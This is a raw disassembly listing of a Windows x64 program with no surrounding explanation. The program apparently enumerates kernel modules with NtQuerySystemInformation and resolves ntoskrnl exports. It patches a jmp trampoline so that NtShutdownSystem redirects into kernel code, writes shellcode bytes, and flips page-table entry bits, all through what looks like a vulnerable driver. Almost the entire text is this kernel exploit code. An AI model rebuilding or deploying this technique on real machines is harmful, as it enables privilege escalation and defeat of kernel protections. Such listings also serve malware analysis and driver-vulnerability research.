mov r11d, dword [rdx + r10 + 0x1c]
lea rbx, [r10 + r11]
mov r8d, dword [rdx + r10 + 0x20]
add r8, r10
mov edi, dword [rdx + r10 + 0x24]
add rdi, r10
xor r9d, r9d
test r11d, r11d
je 0x1400048bc
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, r10
xor ecx, ecx
nop dword [rax + rax]
lea rax, [0x140010b68]
movzx eax, byte [rax + rcx]
inc rcx
cmp al, byte [rdx + rcx - 1]
jne 0x1400048ac
cmp rcx, 7
jne 0x1400047d0
movsxd rax, r9d
movzx ecx, word [rdi + rax*2]
mov ebx, dword [rbx + rcx*4]
mov eax, r14d
imul rcx, rax, 0x128
add rbx, qword [rcx + rsi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140004854
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000484f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004c50
call fcn.14000da40
xor esi, esi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], sil
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x1400048a1
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000489c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004c57
call fcn.14000da40
mov r14d, 4
jmp 0x14000496c
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x1400047c0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400048f7
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004c50
call fcn.14000da40
xor edi, edi
mov qword [rbp + 0x20], rdi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], dil
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140004944
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000493f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004c57
call fcn.14000da40
inc r14d
cmp r14d, dword [rsi]
jb 0x140004590
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14d, 4
xor esi, esi
mov rbx, rsi
mov qword [0x14002fc60], rbx
lea rcx, [0x14002fcf4]
call fcn.14000db70
mov rbx, qword [0x14002fc60]
mov eax, dword [r12 + r14]
cmp dword [0x14002fc68], eax
jle 0x1400049d7
lea rcx, [0x14002fc68]
call fcn.14000dbd0
cmp dword [0x14002fc68], 0xffffffff
jne 0x1400049d7
lea rcx, [0x140010ab8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14002fbd8], rax
lea rcx, [0x14002fc68]
call fcn.14000db70
mov eax, dword [r12 + r14]
cmp dword [0x14002fbe0], eax
jle 0x140004a1c
lea rcx, [0x14002fbe0]
call fcn.14000dbd0
cmp dword [0x14002fbe0], 0xffffffff
jne 0x140004a1c
lea rcx, [0x14002fbf0]
call fcn.140001bf0
lea rcx, [0x14000f460]
call fcn.14000df54
lea rcx, [0x14002fbe0]
call fcn.14000db70
lea rcx, [0x14002fbf0]
call fcn.140001bc0
mov dword [rbp + 0x390], 0x25ff
mov word [rbp + 0x394], 0
mov qword [rbp + 0x396], rbx
mov rcx, qword [0x14002fad0]
mov r8d, 0xe
lea rdx, [rbp + 0x80]
call fcn.140003200
mov rcx, qword [0x14002fad0]
mov r8d, 0xe
lea rdx, [rbp + 0x390]
call fcn.1400033a0
mov r8d, 8
lea rdx, [r15 + 0xc]
lea rcx, [rbp]
call qword [0x14002fbd8]
mov rcx, qword [0x14002fad0]
mov r8d, 0xe
lea rdx, [rbp + 0x80]
call fcn.1400033a0
lea rcx, [0x14002fbf0]
call sub.MSVCP140.dll__Mtx_unlock
mov r15, qword [rbp]
mov rdx, r15
lea rcx, [rbp + 0x160]
call fcn.14000c240
mov dword [rax], 0xad01c748
mov dword [rax + 4], 0x480000de
mov word [rax + 8], 0xc031
mov byte [rax + 0xa], 0xc3
mov eax, dword [r14 + r12]
cmp dword [0x14002fc40], eax
jle 0x140004fcb
lea rcx, [0x14002fc40]
call fcn.14000dbd0
cmp dword [0x14002fc40], 0xffffffff
jne 0x140004fcb
mov rdi, rsi
mov dword [rbp + 8], esi
lea r9, [rbp + 8]
xor r8d, r8d
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140004b66
nop
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp + 8]
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
lea r9, [rbp + 8]
mov r8d, dword [rbp + 8]
mov rdx, rax
mov ecx, 0xb
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x140004b20
test eax, eax
jns 0x140004c5e
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x140004fb5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140004bc6
inc rdx
mov rcx, qword [rbp + 0x10]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140004bc1
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004c50
call fcn.14000da40
xor esi, esi
mov byte [rbp + 0x10], sil
mov qword [rbp + 0x28], 0xf
mov qword [rbp + 0x20], rsi
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140004c0f
inc rdx
mov rcx, qword [rbp + 0x58]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140004c0a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004c57
call fcn.14000da40
mov r14d, 4
jmp 0x140004969
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140004bc6
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004bc1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004bc1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov r14d, esi
cmp dword [rdi], 0
jbe 0x140004f9e
lea r12, [0x140010b68]
mov eax, r14d
imul rcx, rax, 0x128
lea rbx, [rdi + rcx]
movzx eax, word [rbx + 0x2e]
add rax, rdi
lea rdx, [rcx + 0x30]
add rdx, rax
mov qword [rbp + 0x58], rsi
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], 0
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140004cb0
lea rcx, [rbp + 0x58]
call fcn.140006ae0
nop
lea rcx, [rbp + 0x58]
cmp qword [rbp + 0x70], 0x10
cmovae rcx, qword [rbp + 0x58]
lea rdx, [0x140010ac8]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x140004f89
lea rdx, [rbx + 0x30]
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], al
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], 0
jne 0x140004d05
lea rcx, [rbp + 0x10]
call fcn.140006ae0
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov qword [rbp + 0x38], rsi
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140004d41
mov rdx, rax
lea rcx, [rbp + 0x38]
call fcn.140006ae0
nop
mov rcx, qword [rbp + 0x48]
mov rdx, qword [rbp + 0x50]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x140004d8d
lea rax, [rcx + 1]
mov qword [rbp + 0x48], rax
lea rax, [rbp + 0x38]
cmp rdx, 0x10
cmovae rax, qword [rbp + 0x38]
mov word [rax + rcx], 0x5c
lea rbx, [rbp + 0x38]
jmp 0x140004dae
mov qword [rsp + 0x20], 1
lea r9, [0x14001093c]
mov edx, 1
lea rcx, [rbp + 0x38]
call fcn.140007aa0
mov rbx, rax
lea rcx, [rbp + 0x10]
call fcn.140006260
mov rcx, qword [rbx + 0x10]
cmp qword [rbx + 0x18], 0x10
jb 0x140004dc5
mov rbx, qword [rbx]
mov qword [rsp + 0x20], rcx
mov r9, rbx
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.140006930
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x140004e15
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004e10
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400051e4
call fcn.14000da40
mov qword [rbp + 0x48], rsi
mov qword [rbp + 0x50], 0xf
mov byte [rbp + 0x38], 0
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], 0x10
cmovae rcx, qword [rbp + 0x10]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov r10, rax
mov eax, 0x5a4d
cmp word [r10], ax
jne 0x140005286
movsxd rcx, dword [r10 + 0x3c]
cmp dword [rcx + r10], 0x4550
jne 0x1400051eb
mov edx, dword [rcx + r10 + 0x88]
test edx, edx
je 0x1400051eb
mov r11d, dword [rdx + r10 + 0x1c]
lea rbx, [r10 + r11]
mov r8d, dword [rdx + r10 + 0x20]
add r8, r10
mov esi, dword [rdx + r10 + 0x24]
add rsi, r10
xor r9d, r9d
test r11d, r11d
je 0x140004f7e
nop dword [rax + rax]
mov edx, dword [r8]
add rdx, r10
xor eax, eax
nop dword [rax + rax]
movzx ecx, byte [r12 + rax]
inc rax
cmp cl, byte [rdx + rax - 1]
jne 0x140004f6e
cmp rax, 7
jne 0x140004eb0
movsxd rax, r9d
movzx ecx, word [rsi + rax*2]
mov ebx, dword [rbx + rcx*4]
mov eax, r14d
imul rcx, rax, 0x128
add rbx, qword [rcx + rdi + 0x18]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140004f2e
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004f29
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400052b8
call fcn.14000da40
xor esi, esi
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], sil
mov r8, qword [rbp + 0x70]
cmp r8, 0x10
jb 0x140004f56
inc r8
mov rdx, qword [rbp + 0x58]
call fcn.140006cd0
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], 0
mov r14d, 4
jmp 0x140004fb8
inc r9d
add r8, 4
cmp r9d, r11d
jb 0x140004ea0
lea rcx, [rbp + 0x10]
call fcn.140002c20
xor esi, esi
lea rcx, [rbp + 0x58]
call fcn.140002c20
inc r14d
cmp r14d, dword [rdi]
jb 0x140004c71
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r14d, 4
mov rbx, rsi
mov qword [0x14002fce8], rbx
lea rcx, [0x14002fc40]
call fcn.14000db70
mov rdi, qword [0x14002fce8]
mov rbx, qword [r13]
mov eax, dword [rbx + r14]
cmp dword [0x14002fc44], eax
jle 0x140005027
lea rcx, [0x14002fc44]
call fcn.14000dbd0
cmp dword [0x14002fc44], 0xffffffff
jne 0x140005027
lea rcx, [0x140010ab8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtShutdownSystem
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14002fcf8], rax
lea rcx, [0x14002fc44]
call fcn.14000db70
mov eax, dword [rbx + r14]
cmp dword [0x14002fbe4], eax
jle 0x14000506c
lea rcx, [0x14002fbe4]
call fcn.14000dbd0
cmp dword [0x14002fbe4], 0xffffffff
jne 0x14000506c
lea rcx, [0x14002fc80]
call fcn.140001bf0
lea rcx, [0x14000f450]
call fcn.14000df54
lea rcx, [0x14002fbe4]
call fcn.14000db70
lea rcx, [0x14002fc80]
call fcn.140001bc0
mov dword [rbp + 0x380], 0x25ff
mov word [rbp + 0x384], 0
mov qword [rbp + 0x386], rdi
mov rcx, qword [0x14002fad0]
mov r8d, 0xe
lea rdx, [rbp + 0x108]
call fcn.140003200
mov rcx, qword [0x14002fad0]
mov r8d, 0xe
lea rdx, [rbp + 0x380]
call fcn.1400033a0
mov r8d, 1
mov rdx, r15
lea rcx, [rbp + 0xc]
call qword [0x14002fcf8]
mov rcx, qword [0x14002fad0]
mov r8d, 0xe
lea rdx, [rbp + 0x108]
call fcn.1400033a0
lea rcx, [0x14002fc80]
call sub.MSVCP140.dll__Mtx_unlock
movzx edx, byte [rbp + 0xc]
lea rcx, str.ntoskrnl_data_pointer____0x_p_n
call fcn.140001260
mov rax, qword [rbp + 0x1a8]
mov rdi, qword [rbp + 0x1c0]
xor rax, qword [rdi]
movabs r14, 0xfffffffff000
and rax, r14
xor qword [rdi], rax
mov ebx, esi
mov ecx, 0x23
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140005183
nop
mov qword [rbp], rsi
mov dword [rbp + 8], esi
lea r9, [rbp + 8]
mov r8d, 8
lea rdx, [rbp]
lea ecx, [r8 + 0x5f]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
mov edx, ebx
inc ebx
mov r8, qword [rbp]
lea rcx, str._d____0x_x_n
call fcn.140001260
mov ecx, 0x23
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140005140
movabs rax, 0xffff000000000fff
and qword [rdi], rax
mov rax, qword [rbp + 0x1b0]
and rax, r14
or qword [rdi], rax
lea rdx, [rbp + 0x140]
lea rcx, [rbp + 0xe0]
call fcn.140006450
mov rbx, rax
mov qword [rbp], rax
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x140005315
mov rcx, rbx
call fcn.140002c80
test al, al
je 0x140005315
mov dil, 1
jmp 0x140005318
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x140005226
inc rdx
mov rcx, qword [rbp + 0x10]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140005221
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400052b8
call fcn.14000da40
mov byte [rbp + 0x10], 0
mov qword [rbp + 0x28], 0xf
mov qword [rbp + 0x20], rsi
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140005271
inc rdx
mov rcx, qword [rbp + 0x58]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14000526c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000530e
call fcn.14000da40
mov qword [rbp + 0x68], rsi
mov qword [rbp + 0x70], 0xf
mov byte [rbp + 0x58], 0
jmp 0x140004faf
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x1400052c4
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400052bf
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400052bf
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000da40
mov qword [rbp + 0x20], rsi
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x70]
cmp rdx, 0x10
jb 0x140005271
inc rdx
mov rcx, qword [rbp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000526c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000526c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
xor dil, dil
mov rcx, rbx
call fcn.140002c20
test dil, dil
jne 0x14000538d
lea rcx, str.____unable_to_unload_driver..._n
call fcn.140001260
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
lea rcx, [rbp + 0x210]
call fcn.140008b50
nop
lea rcx, [rbp + 0x138]
call fcn.140003190
mov eax, 0xffffffff
mov rcx, qword [rbp + 0x3a0]
xor rcx, rsp
call fcn.14000da20
lea r11, [rsp + 0x4b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
lea rcx, [rbp + 0x210]
call fcn.140008b50
nop
lea rcx, [rbp + 0x138]
call fcn.140003190
xor eax, eax
jmp 0x14000535d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r8, [rsp + 0x60]
mov edx, eax
lea rcx, str.absolute
call fcn.140002660
int3